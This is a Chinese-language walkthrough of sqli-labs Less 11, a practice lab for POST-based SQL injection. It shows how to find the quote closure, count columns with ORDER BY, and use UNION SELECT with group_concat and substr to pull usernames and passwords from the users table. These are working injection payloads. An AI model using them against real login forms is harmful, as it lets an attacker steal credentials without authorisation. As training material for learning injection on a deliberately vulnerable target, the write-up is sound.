sqli-labs靶场 less 11

---

sqli-labs靶场

每道题都从以下模板讲解，并且每个步骤都有图片，清晰明了，便于复盘。

sql注入的基本步骤

• 注入点
• 注入类型
  • 字符型：判断闭合方式 （‘、"、’'、“”）
  • 数字型
• 根据实际情况，选择合适的注入方式
• 获取数据库名，表名，列名，数据

less 11 POS联合注入

• 题目类型:

细节：
Post输入框中，–+注释符不起作用，#注释符可以用

判断闭合方式
输入uname= a’ 提示报错 ‘‘1’’ and password=‘’ LIMIT 0,1’
根据报错得到，and连接用户名和密码

uname=1’–+ 没有提示报错，说明闭合成功，所以闭合方式是单引号

判断列数

uname=1’order+by+3–+

uname=1’order+by+2–+
无报错，说明该页面sql语句查询返回的字段数是二列

uname=1’union+select+1,2–+

联合注入报数据
uname=1’union+select+1,(select+substr((group_concat(username,password)),1,32)+from+users)–+
通过substr截取出全部数据